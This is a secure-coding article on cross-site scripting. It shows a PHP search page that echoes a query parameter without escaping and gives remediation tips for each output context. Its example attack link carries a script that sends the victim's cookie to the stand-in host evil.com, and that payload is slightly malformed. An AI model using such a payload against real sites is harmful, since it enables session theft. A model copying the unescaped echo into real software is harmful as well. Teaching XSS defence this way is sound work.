Cross-site scripting is a type of attack that can be carried out to compromise users of a website. The exploitation of an XSS flaw enables attackers to inject client-side scripts into web pages viewed by users.
What can happen?
The attacker may gain access to users cookies, session IDs, passwords, private messages etc. They can read and access the content of a page for any attacked user as well as all the information displayed to the user. A notable attack was the Tweetdeck XSS worm that was published in 2014. It allowed the attacker to spread a malicious payload to all Tweetdeck users via Twitter, hence causing a mass compromise of Twitter accounts.
Example of XSS
Say you have a search box on your site. If there is no result, the site should say "Could not find any pages when searching for [what the user searched for]."
Doing this in PHP it might look something like this:
<?php // Code for performing the actual search } else { echo "Could not find any pages when searching for ".$_GET['query']; } ?>
This would, in other words, output the user supplied data (the search query) straight into the HTML document. If the search query contains HTML, the user’s web browser will render it. Imagine an attacker sends a link like this to a victim:
http://example.com/search.php?query=<script>document.InnerHTML += "<img src='http://evil.com/?cookie="+document.cookie+" />";</script>
This would make the victim search for <script>document.InnerHTML += "<img src='http://evil.com/?cookie="+document.cookie+"'/>"</script>.
Since there is no validation of the data, the target browser will render:
Could not find any pages when searching for <script>document.InnerHTML += "<img src='http://evil.com?cookie="+document.cookie+"'/>"</script>
The injected HTML will be executed. The HTML contains a script tag that will evaluate JavaScript. The JavaScript will grab the user’s cookie and send it off bounds to a third party domain under the attacker’s control. The attacker will then be able to set his own cookie to the victim’s stolen one, hence gaining access the victim’s data. This is a common example of a privilege escalation attack by the means of cross-site scripting and session riding.
Remediation
The remediation of XSS vulnerabilities is heavily context-dependent and the patches vary from time to time. Here are some general tips (UNTRUSTED is user-supplied data):
HTML Body
Example
<span>UNTRUSTED</span>
Solution
Convert to HTML entities (ie. & to & etc). See PHP htmlspecialchars()
HTML Attributes
Example
<input value="UNTRUSTED">
<div attr="UNTRUSTED" />
Solution
Convert the untrusted user input to HTML entities to prevent the creation of other attributes. Never let any user data into the “id”, “class” or “name” parameters. Be very cautious when providing user data in DOM event handlers (e.g, onclick), as they are made to execute JavaScript.
Untrusted URL
Example
<a href="UNTRUSTED">link</a> <iframe src="UNTRUSTED" />
Solution
URL-encode the user data and allow known URLs. Run the user data through a proper URL library in your language, taking into consideration the protocol specified. If you expect HTTP or HTTPS links, allow those. Prevent the javascript: protocol handler.
GET parameter
Example
<a href="/page?id=UNTRUSTED">link</a>
Solution
URL-encode the user data. Avoid the use of ampersand as it may lead to parameter pollution issues.
CSS value
Example
<div style="height:UNTRUSTED;"></div>
Solution
CSS hex-encode the value.
Javascript variable
Example
<script>var value='UNTRUSTED';</script>
Solution
Add quote around variable and hex encode and prevent line breaks.
DOM XSS
Example
element.innerHTML = UNTRUSTED
Solution
Sanitize using a library written in the language you use. Enforce the use of safer functions whenever applicable (e.g. innerText instead of innerHTML). Be very careful and consider what data is allowed to be printed. It’s better to have a list of allowed characters than disallowed ones.
For more extensive list, see OWASP XSS prevention tips.